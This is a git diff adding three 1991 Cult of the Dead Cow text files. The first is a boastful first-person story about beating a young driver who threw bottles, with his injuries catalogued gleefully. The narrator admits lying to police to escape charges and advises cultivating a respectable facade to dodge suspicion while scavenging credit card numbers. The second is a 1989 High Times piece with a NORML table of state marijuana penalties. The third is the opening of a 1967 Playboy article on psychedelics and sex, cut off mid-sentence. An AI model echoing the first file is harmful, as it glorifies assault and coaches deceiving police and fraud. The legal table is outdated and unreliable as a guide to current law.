-cDc- CULT OF THE DEAD COW -cDc- + ______________________________________________________________________________ + + + Greetings, Gentle Readers! Herewith is a small cautionary tale for your +edification, detailing the benefits of acting the Public Spirited Citizen and +the results of being an obnoxious asshole! + + Some few weeks ago, in the Vermont city I reside in, I had a most exciting +few minutes in an otherwise dull and boring weekend. The highlight was having +some local yobbos, in a car, tossing beer bottles at me and the dog, IN FRONT +OF MY HOUSE, as we were going for a walk. They got a surprise, though, +thinking that being in a car, they were immune from immediate retaliation. It +seems that one of the bottles, a nice, heavy Michelobe bottle, hit the grass +and not the concrete, and as such, didn't break. I dropped the dog's leash, +picked up the bottle and chased them on foot, knowing that they'd have to slow +down at the corner. I was able to get close enough to launch the bottle with +every last erg of energy in my body. (I threw it so hard, I fell down into a +forward roll and back to my feet again) just in time to see the bottle SMASH +their rear window out!, showering the assholes with broken glass. + + A mere second later, I have pulled the driver, who tossed the bottle that +broke, out the driver's side window and am 'explaining' the facts of life and +driver/pedestrian courtesy to him. (This is where I hurt my knee on his pelvis +and my fist on his face. Ow!) + + I then explained to his passengers, as I held the bleeding, battered +driver at arm's length (with one hand. That's how I strained that shoulder +muscle. Still, it LOOKED great, and that's all that really mattered.) that +should I EVER see them on my street again, I would cheerfully do to them what I +had done to the driver. And when he is capable of understanding human speech +again, to pass the message along to him. + + Other than that, my weekend was dull, boring and drab. + + The next day, I was called upon by one of the local cops in regards to +last nights tete' a tete'. I denied everything, of course. The cop, being a +cool fellow, remarked that these yobbos had been cruising all night, looking +for trouble, and that if they found more than they could handle, well, that was +their problem, now wasn't it? + + Also, the car (an expensive foreign job) belonged to daddy, and he wasn't +too thrilled that junior brought it home severely damaged and stinking of beer, +as well as having to be hauled to the hospital for his injuries. + + Life's a bitch, huh? + + Well, the day after THAT, I was called by the local police, and asked to +come down to the station in regards to this little to-do. Waiting for me was +the father of the lout I 'explained' things to, as well as the owner of the +car. (A pushy, cigar-smoking shithead of a Vermont incest mutant.) + + He wanted me to pay for ALL his son's hospital expenses (considerable, it +seems. I did a LOT more damage than I suspected. What can I say? My strength +is as the strength of 10, because I'm a FUCKING MUTANT! Praise Dobbs!) and pay +to have his rear window replaced and pay to have the blood-soaked interior +cleaned/replaced and finally, spend the rest of my life in jail for this +unwarranted assault. + + Seems that Junior and his cronies concocted a tale of how I assaulted +them, first by stopping their car and making the driver fight me. (Yeah, I'd +LOVE to hear that story too!) + + Now, the officer in charge of the investigation, another cool fellow, +proceeded to drag out the police records of all four kids. Foremost among +their arrests were underage drinking, drunk driving, and assault and battery. +Seems these yobbos were in the habit of getting sauced and looking for trouble. + + So, here I am, pushing 40 years of age, yearly contributor to the local +Police Athletic League and associate member of the Police Benevolent +Association, as well as a public-spirited citizen (this same cop is usually on +duty when the local Red Cross has blood drives, and I always give blood) and +generally law-abiding, upstanding citizen with NO police record whatsoever. + + In other words, the police are taking MY side and fully prepared to +believe MY story. + + Needless to say, the cigar-smoking incest mutant was sore pissed and +threatened me with all sorts of bodily harm, right in front of a cop!!! +The cop then cited the jerk for some obscure law concerning threatening the +life and well being of a citizen! + + Gawdam!!! I LOVE this country! + + For those keeping score, Junior is in the hospital with a broken jaw and +smashed cheekbone. Broken teeth. Hairline fracture of the pelvis and a pair +of severely damaged testicles. Along with a few broken ribs. + + Life IS good! + + The Final Chapter. + + Well, the cop investigating the brutal assault was over here the other +day, and I 'confessed' to him what REALLY happened. (Note, tell the cops what +they want to hear and want to believe.) Seems that these four were looking for +trouble, threw a beer-bottle at me, which broke and showered my dog and me with +broken glass. (I showed the cop the glass that's still there in the grass and +on the roadside.) I flipped the car the middle finger and yelled "ASSHOLES!" +at them. At that, they stopped the car and all piled out, seemingly intent on +beating me up for my insolence. (A sensei once told me that the best way to +stop a mob of people intent on doing you harm was to take out the leader (if +possible) fast, hard and hideous! The more screaming, broken bones and blood, +the better. It tends to demoralize the mob and give one a chance to escape. +By the way, I didn't tell the cop I had several years of martial arts training. +He didn't need to know that, you see.) So, (continuing my tissue of lies) I +took out the leader of the mob, and they lost all interest in continuing the +affair. They picked up their friend and tossed him in the car and took off. +The cop admitted he kind of thought that's what happened. I explained that I +wanted to avoid all the nonsense and bother of filing a complaint, being that +Junior came off the worse in the encounter. He asked about the rear window. I +guessed they did that themselves in order to make their story that I started +everything sound more reasonable. That's how he figured it as well. The +upshot of all this is that there will be NO charges of any kind filed against +me. The official investigation result is that I acted in self defense. + + The father will have to appear in court to answer the citation of +threatening me, and with a cop as a witness, this clown is screwed! I shall, +of course, appear as a witness and make a statement to the effect that I really +don't wish to see the fellow fined or anything. After all, he spoke in the +heat of anger, and I would be loath to see him suffer for his temper. I know +if MY son had provoked a fight and gotten beaten up and in the hospital, I +would be upset as well. + + Well, Gentle Readers, it seems that I lucked out this time. There were NO +witnesses to the actual event, save for Junior and his cronies. The cops were +NOT inclined to believe them, and were falling all over themselves to believe +me. Such are the benefits of investing the time, money and effort in creating +the facade of respectability. In my Flaming Youth, I skated along the edge of +the law frequently, yet never had any suspicion come my way. Why? Because I +worked at being a good student in school and a Good Citizen. Even something as +simple as tossing a smile and a wave to the cop in the car that passes you can +reap benefits far in excess of the effort involved. For example, if one is +trashing for CC#s in a part of town one seldom frequents, what cop will stop +and hassle someone who smiles at the sight of them and gives them a friendly +wave? That ONE simple gesture worked wonders for me many times. + + So, I guess the moral of this tale is, Fortune favors the prepared man. I +laid the groundworks and when the time came, my investments paid off a +thousandfold. + +Gentle Readers, I remain, +Yours in Good Fortune, THE NIGHTSTALKER + + _ _ ____________________________________________________________________ +/((___))\|Demon Roach Undrgrnd.806/794-4362|Grassroots..............new # soon| + [ x x ] |NIHILISM.............513/767-7892|The People Farm.......916/673-8412| + \ / |Tequila Willy's GSC..209/526-3194|The Works.............617/861-8976| + (' ') |Lunatic Labs.........213/655-0691|Ripco.................312/528-5020| + (U) |====================================================================| + .ooM |Copr. 1991 cDc communications by THE NIGHTSTALKER. 01/03/91-#149| +\_______/|All Rights Pissed Away. | + diff --git a/textfiles.com/groups/CDC/cDc-0150.txt b/textfiles.com/groups/CDC/cDc-0150.txt new file mode 100644 index 00000000..9f18e6c1 --- /dev/null +++ b/textfiles.com/groups/CDC/cDc-0150.txt @@ -0,0 +1,585 @@ + + _ + | \ + | \ + | | \ + __ | |\ \ __ + _____________ _/_/ | | \ \ _/_/ _____________ + | ___________ _/_/ | | \ \ _/_/ ___________ | + | | _/_/_____ | | > > _/_/_____ | | + | | /________/ | | / / /________/ | | + | | | | / / | | + | | | |/ / | | + | | | | / | | + | | | / | | + | | |_/ | | + | | | | + | | c o m m u n i c a t i o n s | | + | |________________________________________________________________| | + |____________________________________________________________________| + + ...presents... INJUSTICE FOR ALL: + A Guide to U.S. Pot Laws + by Judy McGuire + + >>> a cDc publication.......1991 <<< + -cDc- CULT OF THE DEAD COW -cDc- + ______________________________________________________________________________ + + Kindly donated to cDc by: + + *=-- --=* + { the } + -=/*> Buzzz Bros <*\=- + + text entry by Major Havoc + { } + *=-- --=* + ("Hey, thanks," says S. Ratte') + + This article originally appeared in HIGH TIMES, May, 1989. + ______________________________________________________________________________ + + + In a hearing held last September, DEA chief administrative law judge +Francis L. Young declared marijuana to be "one of the safest therapeutically +active substances known to man." Citing reliable medical authorities, Young +stated that "There are simply no credible medical reports that suggest that +consuming marijuana has caused a single death." Young went on to say, "By +contrast, aspirin, a commonly used medicine, causes hundreds of deaths each +year." + + Despite Judge Young's ruling that pot is safer than aspirin, thousands of +Americans are persecuted, prosecuted, harassed and jailed each year because of +the stigma attached to this relatively harmless drug. The recent passing of +the Omnibus Anti-Drug Bill marks the climax of the anti-drug hysteria that has +been building for the last eight years. And with the ultra-conservative Bush +administration taking over, things don't look as if they'll be improving +anytime soon. + + + STATE BY STATE + + Leaving the new Omnibus Anti-Drug Act and all other federal laws aside, +individual states still have widely varying statutes regarding the possession, +cultivation, and sale of marijuana. What will get you one year in Tucson, may +only get you a small fine in Toledo. Some states, like Oregon, are very +lenient when it comes to possession, but watch out if they nail you for +growing. Even one plant can get you a 20-year sentence and a $100,000 fine! +The discrepancy between laws of different states is confusing, to say the +least. + + Alabama, Alaska, Arkansas, Colorado, Maine, Maryland, Massachusetts, New +York, Oklahoma and Oregon are states that distinguish, and give lesser +penalties for, persons caught with small amounts deemed for "personal use" in +private. The same amount used or displayed in public reaps a harsher penalty. +North Dakota and Mississippi both have provisions in their laws for marijuana +found in vehicles, making possession violation much more serious; both states +change a fine into possible jail time. New Jersey has a two-year loss of +driver's license provision attached to its already stiff possession penalty. + + Quite a few states, Arizona and New Jersey among them, doubled the +penalties if the drug violation occurs within 1000 feet of a school even if you +are busted for drugs in your own home! It makes no difference if school is in +session -- it could be 2 A.M., mid-July, or during recess -- minors don't even +have to be anywhere near the bust. + + On the other hand, it's very possible you might have to spend the rest of +your life in jail if you're caught cultivating or selling large amounts of weed +in Montana, Missouri, or Nevada. + + Although it's not quite a life sentence, Arkansas, Connecticut, Oregon, +Florida, Louisiana, Virginia, Rhode Island, Texas, Oklahoma, Mississippi and +North Carolina slam the large scale grower/salesperson with a possible 30-year +incarceration. North Carolina's law has a new mandatory minimum sentence of 35 +years for possession, sale, or cultivation of over 10,000 pounds. + + + FORFEITURE + + Many states have forfeiture provisions written into their drug laws, +making properties attached to the drug offenders liable to seizure by the +state. On the federal level, the US Customs Service's "Zero Tolerance" +crackdown, netted the service a fleet of luxury yachts in the last year. The +ever-zealous Coast Guard, which can seize boats found to be carrying even the +smallest amount of drugs, confiscated one unlucky man's yacht after finding a +few seeds and two stems on board. Possibly the most famous case of boat +seizure came when the infamous "Monkey-Business" -- the "love boat" of would-be +presidential nominee Gary Hart and paramour Donna Rice -- was impounded after +the Coast Guard found one joint on it. Only after paying a hefty fine was the +vessel returned to its owners. + + Forfeiture provisions are not limited to boats. The Federal government +can seize property involved in any kind of drug activity. In Illinois, the +Justice Department seized a suspected drug-dealer's gas station. They later +returned the property to his widow after discovering that the business came +with an outstanding $125,000 bill from the Illinois Environmental Protection +Agency for emergency cleanup. A Florida man, arrested by the US Border Patrol +with a small amount of marijuana and more than $400,000 cash in his car, wound +up being with possession of less than one ounce of marijuana -- a charge which +was later dismissed -- but ended up losing his bankroll. Government +prosecutors deemed that the money should be forfeited because the man was +allegedly on his way to purchase a large amount of marijuana -- a charge he +denies. + + After stopping a car for a routine traffic violation, a Florida Highway +Patrol trooper confiscated $8,180 in cash when the driver could not give the +officer an "acceptable" explanation for carrying such a large wad. The cost of +litigation involved in small forfeiture cases often discourages the victim of +wrongful seizure from fighting the case in court. + + State governments usually have different forfeiture guidelines for +different amounts and types of drugs. These guidelines include the forfeiture +of drug containers, cars, money, and other valuables. But in California and +many other states they can't seize your car if it's your family's sole means of +transportation. + + Only 17 states currently have the same type of real estate forfeiture +provisions that are already written into Federal Law. This figure is sure to +change for the worse in the next few years, so that not only can the US +government take your home, but the local sheriff's department can join in the +bounty-hunt as well. + + + CONSTITUTION? WHAT'S THAT? + + Getting illegally-obtained evidence to stand up in court has always been a +constitutional nightmare for prosecutors. Illegal searches (those carried out +without a warrant or probable cause) are usually considered unconstitutional +and the evidence contained from them thrown out of court. However, a recent US +Supreme Court decision allowed prosecutors in Florida to introduce evidence +gathered by police using a helicopter. The whirly-bird flew 400 feet over a +greenhouse that had marijuana plants growing in it, visible only from the sky. +The police used the information gathered from the flight to obtain a warrant, +but the Florida Supreme Court ruled it an unconstitutional search. The US +Supreme Court disagreed -- a fixed-wing aircraft can fly no lower than 500 +feet, but since there are no regulations regarding helicopters, this was not +considered invasion of privacy. + + In yet another case of civil rights erosion, a Florida State Court of +Appeals ruled that police can search passengers' luggage on public busses at +random. No reason necessary -- a funny haircut, suspicious walk, and your +privacy is history. + + + THOSE MADCAP POLITICIANS... + + As if the current climate wasn't hostile enough towards pot smoking +citizens, there are always a few politicians ready to make things even more +oppressive. For example, the Tennessee Sheriff's Association feels that anyone +convicted of hawking drugs to a minor should be executed! This would include +first-offense sale of marijuana to a teenager. + + A bill introduced in the Delaware State Senate would bring back public +whippings as punishment for those convicted of drug offenses. Delaware, the +last state to abandon the whipping post (in 1952), still had corporal +punishment on the books until the early '70s. Democratic leader Senator Thomas +B. Sharpe feels that the drug problem is serious enough to warrant restoring +this sadistic practice. The ACLU, which vehemently disagrees, is currently +investigating the constitutionality of the whipping post. + + Representative Al Edwards of Texas has a novel, not to mention morbid, +idea for dealing with drug dealers. The bill he's sponsoring calls for dealers +to lose the tip of a little finger the first time they're convicted. With each +subsequent conviction, they would lose a full finger. + + While these penalties seem farfetched, these are the opinions of the +people running this country! Drugs are being used as a scapegoat for the +problems that America faces today -- homelessness, AIDS, unemployment, crime, +and hunger. The politicians feel it's easier and safer to attack drugs than it +is to deal with deeper and more controversial issues. And they don't care if +they end up shredding the Constitution to do it. + + + STATE-BY-STATE COMPARISON OF THE MARIJUANA LAWS + compiled by the National Organization for the Reform of Marijuana Laws + (NORML) + + +ALABAMA +Possession: 0-2.2 lbs. For Personal Use: 0-1 yr & $1,000 +0-2.2 lbs. Not For Personal Use: 2-15 yrs & $25,000 +2.2-2,000 lbs.: 3-15 yrs & $25,000 +Over 10,000 lbs.: 15 yrs & $200,000 +Cultivation/Sale: 0-2.2 lbs: 2-15 yrs & $25,000 +2.2-2000 lbs.: 3-15 yrs & $25,000 +2,000-10,000 lbs.: 5-15 yrs & $50,000 +Over 10,000 lbs.: 15 yrs & $200,000 + +ALASKA +Possession/Cultivation: Legal for personal use in home +Any amount for personal use not in home: 0-$100 +Public Display of up to 1 oz. or possession of 4 or more oz.: 0-90 days & $1000 +Sale up to 1 oz.: 0-1 yr & $1,000 +Over an oz.: 0-5 yrs & $5,000 + +ARIZONA +Possession: Up to 1 lb.: 1.5 yrs & $750-$150,000 +1-8 lbs.:4 yrs & $750-$150,000 +8 lbs.: 7 yrs & $750-$150,000 +Cultivation/Sale: Same as possession for over 1 lb. +Arizona also has provisions requiring community service and drug treatment for +people convicted for any pot crime. +Laws regarding drug sales near schools eliminate any chance of parole until all +of the sentence is served as well as imposing a minimum $2,000 fine. + +ARKANSAS +Possession: Up to 1 oz: 0-1 yr & $1,000 +1 oz-10 lbs.: 4-10 yrs & $25,000 +10-100 lbs.: 6-30 yrs & $100,000 +Cultivation/Sale: Up to 1 oz:2-10 yrs & $10,000 +Over an oz same as possession charge + +CALIFORNIA +Possession: Up to 1 oz: 0-$100 +Over an oz: 0-6 mos & $500 +Cultivation: 16 mos-3 yrs +Sale: 2-4 yrs + +COLORADO +Possession: Up to an oz in private: 0-$100 +In Public: 0-15 days & $100 +1-8 oz: 0-2 yrs & $500 +8 oz or more: 1-2 yrs +Cultivation/Sale: Any amount 2-4 yrs +Second Offense possession of any amount over an oz subsequent to a prior pot +offense carries a penalty of 6 mos-2 yrs. For 8 or more oz: 3-8 yrs & +$2,000-$5,000. + +CONNECTICUT +Possession: Up to 4 oz: 1 yr & $1,000 +Over 4 oz: 0-5 yrs & $2,000 +Cultivation/Sale: Up to 2.2 lbs: 0-7 yrs & $1,000 +Over 2.2 lbs: 5-20 yrs +No suspended sentences unless the person is drug dependent. + +DELAWARE +Possession: Up to 50 lbs: 0-2 yrs & $500 +50-100 lbs: 3 yrs & $50,000 +100-5,000 lbs: 5 yrs & $100,000 +Over 5000 lbs: 15 yrs & $400,000 +Cultivation/Sale: Up to 50 lbs: 0-10 yrs & $10,000 +50-100 lbs: 3-10 yrs & $50,000 +100-5,000 lbs: 5 yrs & $100,000 +Over 5,000 lbs: 15 yrs & $400,000 + +FLORIDA +Possession: Up to 20 gms: 0-1 yr & $1,000 +20 gms-100 lbs: 0-5 yrs & $5,000 +100-2,000 lbs: 3-30 yrs & $25,000 +Over 10,000 lbs: 15-30 yrs & $200,000 +Cultivation/Sale: Up to 20 gms: 0-5 yrs & $5,000 +All other amounts: Same as penalties for possession + +GEORGIA +Possession: Up to 1 oz: 0-1 yr & $1,000 +1 oz-100 lbs: 1-10 yrs +100-2,000 lbs: 5-10 yrs & $25,000 +2,000-10,000 lbs: 7-10 yrs & $50,000 +Over 10,000 lbs: 15-30 yrs & $200,000 +Cultivation/Sale: Up to 100 lbs: 1-10 yrs +All other amounts: Same penalties as for possession + +HAWAII +Possession: Up to 1 oz: 0-30 days & $500 +1 oz-2.2 lbs: 0-1 yr & $1,000 +Over 2.2 lbs: 0-5 yrs & $5,000 +Cultivation/Sale: Up to 1 oz: 0-1 yr & $1,000 +All other amount: Same as penalties for possession + +IDAHO +Possession: Up to 3 oz: 0-1 yr & $1,000 +Over 3 oz: 0-10 yrs & $10,000 +Cultivation/Sale: Up to 3 oz: 0-5 yrs & $1,000 +Over 3 oz: 0-5 yrs: 0-5 yrs & $15,000 + +ILLINOIS +Possession: Under 2.5 gms: 0-30 days & $500 +2.5-10 gms: 0-6 mos & $500 +10-30 gms: 0-1 yr & $1,000 +30-500 gms: 1-3 yrs & $10,000 +Over 500 gms: 2-5 yrs & 10,000 +Cultivation/Sale: Under 2.5 gms: 0-6 mos & $500 +2.5-10 gms: 0-1 yr & $1,000 +10-30 gms: 0-1 yr & $10,000 +30-500 gms: 2-5 yrs & $50,000 +Over 500 gms: 3-7 yrs & $100,000 + +INDIANA +Possession: Up to 30 gms: 0-1 yr & $1,000 +Over 30 gms but less than 10 lbs: 0-2 yrs & $10,000 +Cultivation/Sale: Same penalties as for possession + +IOWA +Possession: Any amount: 0-6 mos & $2,500 +Cultivation: Any amount: 0-5 yrs & $2,500 +Sale: Any amount: 0-5 yrs & $10,000 + +KANSAS +Possession: Any amount: 0-1 yr & $2,500 +Cultivation: Any amount: 0-1 yr & $2,500 +Sale: Any amount: 1-10 yrs & $10,000 + +KENTUCKY +Possession: Less than 8 oz: 0-1 yr & $500 +8 oz-5 lbs: 1-5 yrs & $2,500 +5 lbs or more: 5-10 yrs & $5,000-$10,000 +Cultivation/Sale: Penalties are the same as for possession +Note: Up to 4 plants is treated as simple possession + +LOUISIANA +Possession: Under 100 lbs: 0-6 mos & $500 +100-2,000 lbs: 5-15 yrs & $50,000 +2,000-10,000 lbs: 15-25 yrs & $200,000 +Over 10,000 lbs: 25-35 yrs & $500,000 +Cultivation/Sale: Up to 1.5 oz: 0-1 yr & $1,000 +All other penalties same as for possession + +MAINE +Possession: Any amount for personal use up to 1.5 oz: $0-$200 +1.5-2 lbs: 0-1 yr & $1,000 +2-1,000 lbs: 0-5 yrs & $2,500 +Over 1,000 lbs: 0-10 yrs & $10,000 +Cultivation/Sale: Up to 1.5 oz: 0-1 yr & $1,000 +All other penalties same as for possession + +MARYLAND +Possession/Cultivation: Any personal use amount: 0-1 yr & $1,000 +Any other amount, presumed intent to distribute: 5-15 yrs & $15,000 +Importation of over 100 lbs into Maryland: 0-25 yrs & $50,000 +Second Offense Mandatory 2 yrs, up to 15 yrs & $10,000 + +MASSACHUSETTS +Possession: Any amount for personal use: Probation +Cultivation/Sale: 0-2 yrs & $5,000 + +MICHIGAN +Possession: Any amount: 0-1 yr & $1,000 +Use: 0-90 days & $100 +Cultivation/Sale: 0-4 yrs & $5,000 +City of Ann Arbor: Possession under 1 oz: $0-$100 + +MINNESOTA +Possession: Up to 1.5 oz: $0-$100 +Over 1.5 oz: 0-3 yrs & $3,000 +Cultivation/Sale: Any amount: 0-5 yrs & $30,000 + +MISSISSIPPI +Possession: Up to 1 oz not in vehicle: $100-$250 +1 gm-1 oz in vehicle: 0-90 days & $1,000 +1 oz-2.2 lbs: 0-2 yrs & $3,000 +Over 2.2 lbs: 0-20 yrs & $1,000,000 (1 million!) +Cultivation/Sale: Up to 1 oz: 0-3 yrs & $3,000 +1 oz-2.2 lbs: 0-20 yrs & $30,000 +Over 2.2 lbs: 0-30 yrs & $1,000,000 (1 million!) + +MISSOURI +Possession/Cultivation: Up to 35 gms: 0-1 yr & $1,000 +Over 35 gms: 0-5 yrs & $1,000 +Sale: Any amount: 5 yrs to life +Note: Any marijuana offense while driving punished by license suspension for 1 +year + +MONTANA +Possession: Up to 60 gms: 0-6 mos & $500 +Over 60 gms: 0-50 yrs & $50,000 +Cultivation/Sale: 1 yr to life & $50,000 + +NEBRASKA +Possession: Up to 1 oz: $100 and drug education +1 oz-1 lb: 0-7 days & $500 +Over 1 lb: 0-5 yrs & $10,000 +Cultivation/Sale: Any amount: 0-15 yrs & $10,000 + +NEVADA +Possession: Up to 1 oz by a person under 21: 0-6 yrs & $2,000 +Up to 100 lbs by an adult: probation-6 yrs & $5,000 +100-2,000 lbs: 3-20 yrs & $25,000 +2,000-10,000 lbs: 5-20 yrs & $50,000 +Over 10,000 lbs: 5 yrs to life & $200,000 +Cultivation/Sale: Up to 100 lbs: 1-15 yrs & $5,000 +All other penalties are the same as for possession + +NEW HAMPSHIRE +Possession: Up to 1 lb: 0-1 yr & $1,000 +Over 1 lb: 0-7 yrs & $2,000 +Cultivation/Sale: Any amount: 0-15 yrs & $2,000 + +NEW JERSEY +Possession: under 50 gms: 0-6 mos & $750 and 2 year driver license suspension +Over 50 gms: 0-5 yrs & $15,000 +Cultivation/Sale: 0-5 yrs & $15,000 +New Jersey also has provisions for doubling penalties if they occur within +1000 feet of a school, and strengthened penalties for people that employ minors +in the drug trade. + +NEW MEXICO +Possession: Up to 1 oz: 0-15 days & $100 +1-8 oz: 0-1 yr & $1,000 +8 oz-100 lb: 0-18 mos & $5,000 +Over 100 lbs: 3 yrs & $5,000 +Cultivation: Any amount: 9 yrs & $10,000 +Sale: 1 gm-100 lbs: 18 mos & $5,000 +Over 100 lbs: 3 yrs & $5,000 + +NEW YORK +Possession: Up to 25 gms in private: $0-$100 +25 gms-2 oz: 0-3 mos & $500 +2-4 oz: 0-1 yr & $1,000 +4-8 oz: 0-4 yrs +1-10 lbs: 0-7 yrs +Over 10 lbs: 0-15 yrs +Cultivation: Up to 4 oz: 0-1 yr & $1,000 +4-8 oz: 0-1 yr & $10,000 +8 oz-1 lb: 0-4 yrs +1-10 lbs: 0-7 yrs +Over 10 lbs: 0-15 yrs +Sale: Up to 25 gms: 0-1 yr & $1,000 +25 gms-4 oz: 0-4 yrs +4 oz-1 lb: 0-7 yrs +Over 1 lb:0-15 yrs + +NORTH CAROLINA +Possession: Up to 1 oz: 0-30 days & $100 suspended drivers license +Over 1 oz: 0-2 yrs & $2,000 +Cultivation/Sale: Penalties names as possession of over 1 oz +The following mandatory minimum sentences are provided for trafficking +offenses: +Over 50 lbs but less than 100 lbs: 5 yr minimum +Over 100 lbs but less than 2,000 lbs: 14 yr minimum, 20 yr maximum +Over 10,000 lbs: 35 yr minimum, 40 yr maximum + +NORTH DAKOTA +Possession: Up to .5 oz not in vehicle: 0-30 days & $500 conditional +.5 oz-1 oz not in vehicle, or .5 oz in vehicle: 0-1 yr & $1,000 +Over 1 oz: 0-5 yrs & $5,000 +Cultivation/Sale: Any amount: 0-10 yrs & $10,000 + +OHIO +Possession: Up to 100 gms: $0-$100 +100-200 gms: 0-30 days & $250 +200-600 gms: 6 mos-5 yrs & $2,500 +Over 600 gms: 1-10 yrs & $5,000 +Cultivation/Sale: Up to 200 gms: 6 mos-5 yrs & $2,500 +200-600 gms: 1-10 yrs & $5,000 +Over 600 gms: 2-15 yrs & $7,500 + +OKLAHOMA +Possession: Any amount for personal use: 0-1 yr +Cultivation: Any amount: 2-10 yrs & $50,000 +Sale: Less than 25 lbs: 2-10 yrs & $20,000 +25-1,000 lbs: 2-10 yrs & $25,000-$100,000 +Over 1,000 lbs:1-10 yrs & $100,000-$500,000 + +OREGON +Possession: Up to 1 oz: $0-$100 +Over 1 oz: 0-10 yrs & $2,500 +Cultivation/Sale: Any amount: 0-20 yrs & $15,000 + +PENNSYLVANIA +Possession: Up to 30 gms: 0-30 days & $500 +Over 30 gms: 0-1 yr & $5,000 +Cultivation/Sale: Any amount: 10-30 yrs & $50,000 + +RHODE ISLAND +Possession: Less than 1 kg: 0-1 yr & $250 +More than 1 kilo: 10 yr mandatory minimum +Cultivation/Sale: Any amount: 10-30 yrs & $50,000 + +SOUTH CAROLINA +Possession: Up to 1 oz: 0-30 days and $200 +Over 1 oz: 0-5 yrs & $5,000 +Cultivation/Sale: Penalties same as possession for over 1 oz + +SOUTH DAKOTA +Possession: Up to 1 oz: 0-30 days & $100 +1 oz-1 lb: 0-1 yr & $1,000 +1-10 lbs: 0-2 yrs & $2,000 +Over 10 lbs: 0-10 yrs & $10,000 +Cultivation/Sale: Up to 1 lb: 0-1 yr & $1,000 +1-10 lbs: 0-2 yrs & $2,000 +Over 10 lbs: 0-10 yrs & $10,000 +Note: Penalty for cultivation under 1 oz same as possession under 1 oz + +TENNESSEE +Possession: Up to 10 lbs: 0-1 yr & $1,000 +Over 10 lbs: 4-10 yrs & $10,000 +Cultivation/Sale: Up to .5 oz: 0-1 yr & $1,000 +.5 oz-10 lbs: 4-10 yrs & $10,000 +Note: Cultivation carries mandatory 1 year minimum sentence + +TEXAS +Possession: Up to 2 oz: 0-6 mos & $1,000 +2-4 oz: 0-1 yr & $2,000 +4 oz-5 lbs: 2-10 yrs & $5,000 +5-50 lbs: 2-20 yrs & $10,000 +Cultivation/Sale: Under 2 oz: 0-1 yr & $1,000 +Over 2 oz: Same penalties as for possession +Texas also has very strict mandatory minimum sentences for amounts over 50 lbs +and sale to minors + +UTAH +Possession: 0-6 mos & $300 +Cultivation/Sale: 0-5 yrs & $5,000 + +VERMONT +Possession: Up to .5 oz: 0-6 mos & $500 +.5-2 oz: 0-3 yrs & $3,000 +Over 2 oz: 0-5 yrs & $5,000 +Cultivation/Sale: Any amount: 0-5 yrs & $5,000 + +VIRGINIA +Possession: Up to 5 lbs: 0-30 days & $500 +Cultivation: Up to 5 lbs: 0-30 days & $500 +Over 5 lbs: 5-30 yrs +Sale: Up to .5 oz:0-1 yr & $1,000 +.5 oz-5 lbs: 0-10 yrs & $1,000 +Over 5 lbs: 5-30 yrs + +WASHINGTON +Possession: Up to 40 gms: 0-90 days & $250 +Over 40 gms: 0-5 yrs & $10,000 +Cultivation/Sale: Any amount: 0-5 yrs & $15,000 + +WEST VIRGINIA +Possession: Up to 15 gms: conditional discharge +Over 15 gms: 90 days-6 mos & $1,000 +Cultivation/Sale: Any amount: 1-5 yrs & $15,000 + +WISCONSIN +Possession: Any amount: 0-30 days & $500 +Cultivation/Sale: Any amount 0-5 yrs & $15,000 +City of Madison: Possession: $0-$100 + +WYOMING +Possession/Cultivation: Any amount: 0-6 mos & $1,000 +Sale: Any amount: 0-10 yrs & $10,000 + + *=-- --=* + { } + -=*/> Buzzz Bros. <\*=- + { MCMXC } + *=-- --=* + + "Freedom Is A Road Seldom Traveled By The Multitude" + + __________________ + + Special thanks to: + ___________________ + +HIGH TIMES (bud smokers' bible) +Marlboro Cigarettes +Faith No More +N.W.A. + -and- +Public Enemy + _ _ ____________________________________________________________________ +/((___))\|Demon Roach Undrgrnd.806/794-4362|Grassroots..............new # soon| + [ x x ] |NIHILISM.............513/767-7892|The People Farm.......916/673-8412| + \ / |Tequila Willy's GSC..209/526-3194|The Works.............617/861-8976| + (' ') |Lunatic Labs.........213/655-0691|Ripco.................312/528-5020| + (U) |====================================================================| + .ooM |1991 cDc communications by Judy McGuire. 01/03/91-#150| +\_______/|All Rights Pissed Away. | + diff --git a/textfiles.com/groups/CDC/cDc-0151.txt b/textfiles.com/groups/CDC/cDc-0151.txt new file mode 100644 index 00000000..2d2db26f --- /dev/null +++ b/textfiles.com/groups/CDC/cDc-0151.txt @@ -0,0 +1,660 @@ + + _ + | \ + | \ + | | \ + __ | |\ \ __ + _____________ _/_/ | | \ \ _/_/ _____________ + | ___________ _/_/ | | \ \ _/_/ ___________ | + | | _/_/_____ | | > > _/_/_____ | | + | | /________/ | | / / /________/ | | + | | | | / / | | + | | | |/ / | | + | | | | / | | + | | | / | | + | | |_/ | | + | | | | + | | c o m m u n i c a t i o n s | | + | |________________________________________________________________| | + |____________________________________________________________________| + + ...presents... Sex, Ecstasy and the Psychedelic Drugs + + by R.E.L. Masters + + >>> a cDc publication.......1991 <<< + -cDc- CULT OF THE DEAD COW -cDc- + ______________________________________________________________________________ + + Kindly donated to cDc by: + + *=-- --=* + { the } + -=/*> Buzzz Bros <*\=- + + text entry by Major Havoc + { } + *=-- --=* + ("Hey, thanks," says S. Ratte') + + *=-- ---=* + { This file is a copy of an article that was first published in Playboy } + November, 1967. Although over 20 years old, it is a perfect + { example of the budding use, evaluation and enjoyment } + *=-- of psychedelic drugs in the late '60s. --=* + ______________________________________________________________________________ + + + History records few human quests as unremitting or as widespread as the +search for a harmless, effective sex stimulant. Recent claims - such as those +made by Timothy Leary - that LSD is the greatest aphrodisiac known to man, have +excited much interest in the sexual potential of psychedelic drugs. Sober +discussion of psychedelic substances was difficult enough before sex entered +the picture; now it is close to impossible. But bearing in mind that there is +a great deal more to psychedelics than sex, it might clear the air to examine +the effects of lysergic acid diethylamide - and several other psychedelic drugs +- on human sexual behavior. + + Along with the comparatively new synthetic psychedelics, including LSD and +psilocybin, there are similar mind-altering substances present in many forms of +plant life. Some of these have been used for hundreds and even thousands of +years. Examples are the peyote cactus, the Cannibis hemp plant, the opium +poppy and several varieties of mushrooms and morning-glory plants. Most have +been linked in one way or another with sex. + + Whether opium - probably Homer's nepenthe - should be considered a psyche- +delic drug is largely a matter of semantics. Some would-be authorities exclude +all addictive drugs, including opium, from the class of psychedelics. However +opium does produce effects similar to those produced by nonaddictive psyche- +delics, and among these are sexual effects that merit consideration. + + Prolonged use of opium results in mental and physical deterioration, +including impotence. However, before it takes its toll, the drug can +powerfully and pleasurably enhance sexual experience. No one has described the +specific sexual effects of opium as well as the 19th century French Army +surgeon and anthropologist Jacobus Sutor, who authored numerous sexological +studies under the pseudonym Jacobus X. "According to my person experience," +wrote Jacobus, "and from avowals made to me by 